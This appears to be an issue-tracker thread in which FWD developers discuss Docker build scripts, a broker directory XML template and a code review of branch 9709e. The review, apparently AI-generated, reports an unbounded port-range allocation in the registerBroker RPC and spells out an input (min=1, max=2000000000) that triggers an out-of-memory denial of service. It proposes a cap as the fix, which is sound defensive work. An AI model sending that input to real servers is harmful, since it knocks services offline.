#1029 Updated by Hynek Cihlar 20 days ago
Sergey Ivanovskiy wrote:
so we can leave this code without additional optimization.
OK, sounds good.
#1030 Updated by Roger Borrello 20 days ago
I had to update tools/docker/docker_build.sh as I found the non-PG server image was not being built.
Is it OK to stuff setup_ncurses6x.sh from #11515 in 9709e?
#1032 Updated by Roger Borrello 20 days ago
Greg Shah wrote:
Roger Borrello wrote:
Is it OK to stuff
setup_ncurses6x.shfrom #11515 in 9709e?Why not. Lard it up.
Revision 16675 has the new, slimmer, and more fit tools/scripts/setup_ncurses6x.sh
#1033 Updated by Roger Borrello 20 days ago
Sergey, I am trying to make sure the broker template (below) is updated properly, and section 2.1 doesn't really indicate where the trustedspawner fits.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<remapper-storage>
<node class="container" name="">
<node class="container" name="security">
<node class="container" name="acl">
<node class="container" name="system">
<node class="container" name="{broker_process_acl}">
<node class="strings" name="subjects">
<node-attribute name="values" value="{broker_process_name}"/>
</node>
<node class="systemRights" name="rights">
<node-attribute name="check" value="true"/>
</node>
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="accounts"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
</node>
</node>
</node>
<node class="container" name="accounts">
<node class="container" name="processes">
<node class="process" name="{broker_process_name}">
<node-attribute name="enabled" value="TRUE"/>
<node-attribute name="description" value="{broker_process_description}"/>
<node-attribute name="server" value="FALSE"/>
<node-attribute name="alias" value="{broker_process_name_alias}"/>
<node-attribute name="broker" value="{broker_name}"/>
</node>
</node>
</node>
</node>
<node class="container" name="server">
<node class="container" name="default">
<node class="container" name="brokers">
<node class="broker" name="{broker_name}">
<node-attribute name="account" value="{broker_os_user}"/>
</node>
</node>
</node>
</node>
</node>
</remapper-storage>
#1034 Updated by Roger Borrello 19 days ago
Roger Borrello wrote:
Sergey, I am trying to make sure the broker template (below) is updated properly, and section 2.1 doesn't really indicate where the trustedspawner fits.
Is the below correct for the broker template?
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<remapper-storage>
<node class="container" name="">
<node class="container" name="security">
<node class="container" name="acl">
<!-- The broker process account may read the accounts subtree (it authenticates
spawned client sessions). -->
<node class="container" name="system">
<node class="container" name="{broker_process_acl}">
<node class="strings" name="subjects">
<node-attribute name="values" value="{broker_process_name}"/>
</node>
<node class="systemRights" name="rights">
<node-attribute name="check" value="true"/>
</node>
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="accounts"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
</node>
</node>
<!-- The broker process account is a trusted spawner: it is allowed to launch
per-session client JVMs as the OS user named by resource-instance/reference
(= the broker's web/defaultOsUser). Enforced by TrustedSpawnerResource /
TrustedSpawnerRights, so TrustedSpawnerResource must be registered in the
base directory's security/config/resource-plugins list. -->
<node class="container" name="trustedspawner">
<node class="container" name="{broker_process_acl}">
<node class="strings" name="subjects">
<node-attribute name="values" value="{broker_process_name}"/>
</node>
<node class="trustedSpawnerRights" name="rights">
<node-attribute name="allow" value="true"/>
</node>
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="{broker_os_user}"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
</node>
</node>
</node>
<node class="container" name="accounts">
<node class="container" name="processes">
<node class="process" name="{broker_process_name}">
<node-attribute name="enabled" value="TRUE"/>
<node-attribute name="description" value="{broker_process_description}"/>
<node-attribute name="server" value="FALSE"/>
<node-attribute name="alias" value="{broker_process_name_alias}"/>
</node>
</node>
</node>
</node>
<node class="container" name="server">
<node class="container" name="default">
<node class="container" name="brokers">
<!-- 9709e broker node: broker_account is the process account whose cert this
broker presents (registration authenticates against it); host is the
broker's own reachable service name (NEVER localhost); portsRange is the
per-broker session port window used to build map.clients-to-backends.
No 'account' child is declared, so this broker serves any user and the
server selects among brokers by load. -->
<node class="broker" name="{broker_name}">
<node-attribute name="broker_account" value="{broker_process_name}"/>
<node-attribute name="host" value="{broker_host}"/>
<node class="container" name="portsRange">
<node class="integer" name="from">
<node-attribute name="value" value="{from_port}"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="{to_port}"/>
</node>
</node>
</node>
</node>
</node>
</node>
</node>
</remapper-storage>
#1035 Updated by Roger Borrello 14 days ago
Rebased 9709e up to revision 16693.
#1036 Updated by Sergey Ivanovskiy 5 days ago
Roger, sorry for missing your question, this settings below
<node class="container" name="brokers">
<!-- 9709e broker node: broker_account is the process account whose cert this
broker presents (registration authenticates against it); host is the
broker's own reachable service name (NEVER localhost); portsRange is the
per-broker session port window used to build map.clients-to-backends.
No 'account' child is declared, so this broker serves any user and the
server selects among brokers by load. -->
<node class="broker" name="{broker_name}">
<node-attribute name="broker_account" value="{broker_process_name}"/>
<node-attribute name="host" value="{broker_host}"/>
<node class="container" name="portsRange">
<node class="integer" name="from">
<node-attribute name="value" value="{from_port}"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="{to_port}"/>
</node>
</node>
</node>
looks correct but acl and trustspawner containers were not changed.
#1037 Updated by Roger Borrello 5 days ago
- File directory_broker.xml.template added
Sergey Ivanovskiy wrote:
Roger, sorry for missing your question, this settings below
[...]
looks correct but acl and trustspawner containers were not changed.
Quite alright... I'm sorry to need clarification. Is my template not correct? We did not have a trustedspawner container before, and I did not change the acl container from before... just added a comment.
#1038 Updated by Sergey Ivanovskiy 4 days ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Roger, sorry for missing your question, this settings below
[...]
looks correct but acl and trustspawner containers were not changed.Quite alright... I'm sorry to need clarification. Is my template not correct? We did not have a trustedspawner container before, and I did not change the acl container from before... just added a comment.
This is a good question because the trustedspawner ACL is never consulted at runtime in FWD but TrustedSpawnerResource plugin is still present in FWD code source and directory should list this plugin in resource-plugins node if this plugin is required but now I have no examples where TrustedSpawnerResource plugin is loaded.
#1039 Updated by Hynek Cihlar about 8 hours ago
- Status changed from Review to WIP
- % Done changed from 100 to 90
Code review 9709e revisions 16640..16694
Some minor points below, otherwise the changes look good.
- [MINOR] security
WebClientsManager.createResourceQueue: Client-suppliedminAgentPort/maxAgentPortarrive via theregisterBrokerRPC and driveIntStream.rangeClosed(minAgentPort, maxAgentPort)collected into aLinkedListwith no upper bound (onlymin > 0 && min <= maxis checked; the outer gate is satisfied by the attacker-suppliedagentRangeConfiguredboolean). Trigger: an authenticated, per-broker-authorized principal registers withagentRangeConfigured=true, min=1, max=2000000000→ multi-billion-element allocation (OOM/DoS). A cheapmaxAgentPort - minAgentPortsanity cap would close this defense-in-depth gap.
- [MINOR] performance
BrokerManager.initialize: The entire method body runs insidesynchronized (activeBrokers), and the per-broker loop callsHostsManager.canonicalHostKeys(brokerHost)(blockingInetAddress.getAllByName) once per configured broker, so N blocking DNS resolutions execute while holding the lock at server startup. The DNS-off-lock fix was applied toregisterBroker(resolves before locking) but not here; a concurrentregisterBrokerblocks on the same monitor during that window. Bounded and one-time. Resolve host keys before entering the lock, asregisterBrokerdoes.
- [MINOR] performance
BrokerManager.registerBroker/HostsManager.addHost:registerBrokerresolvescanonicalHostKeys(host)(getAllByName) off-lock, then callsaddHostinsidesynchronized (activeBrokers); on a first-time registrationaddHostperforms a second blockingInetAddress.getByName(host)on the same host under that lock — a redundant resolution and a residual blocking DNS call held under the monitor. In practice the second lookup is almost always JVM DNS-cache-served, so real cost is small;addHost's "no lock held across the lookup" comment is misleading since the caller holdsactiveBrokers. Trigger: first-time broker registration for a host.
- [MINOR] style
ConfigItem.createConfigItemOfType: Declaredpublic static final—finalon a method is redundant since the class is alreadyfinal.
- [MINOR] style
HostsManager.HostData(isAgentsPortsRangeConfigured/isPortsRestricted/isJavaDebuggerNeeded/isJmxAgentNeeded): Javadoc@returntext uses invalid inline markup@true@/@false@ (4 occurrences) instead of{@code true}/{@code false}used correctly elsewhere in the same file.
- [MINOR] style BrokerDiscovery.java / ClientsToPortsGenerator.java (imports): Both import
com.goldencode.p2j.util.ConfigItem.Typeas an explicit single-class import; siblingWebClientsManagerimports the same nested type via wildcard, which better matches the "use .* unless a conflict requires an explicit import" rule.
#1040 Updated by Sergey Ivanovskiy about 7 hours ago
- File code-review.textile
added - % Done changed from 90 to 100
Hynek, what the system/model did you use to get this review? My review did not list those issues.
#1041 Updated by Sergey Ivanovskiy about 7 hours ago
- % Done changed from 100 to 90
#1042 Updated by Hynek Cihlar about 7 hours ago
Sergey Ivanovskiy wrote:
Hynek, what the system/model did you use to get this review? My review did not list those issues.
I used the fwd-code-review skill indirectly through the fwd-review.py python script (part of the ai repo). No overrides, I use the defaults.
#1043 Updated by Sergey Ivanovskiy about 7 hours ago
OK. Thanks for this info. My version of ai project is old.

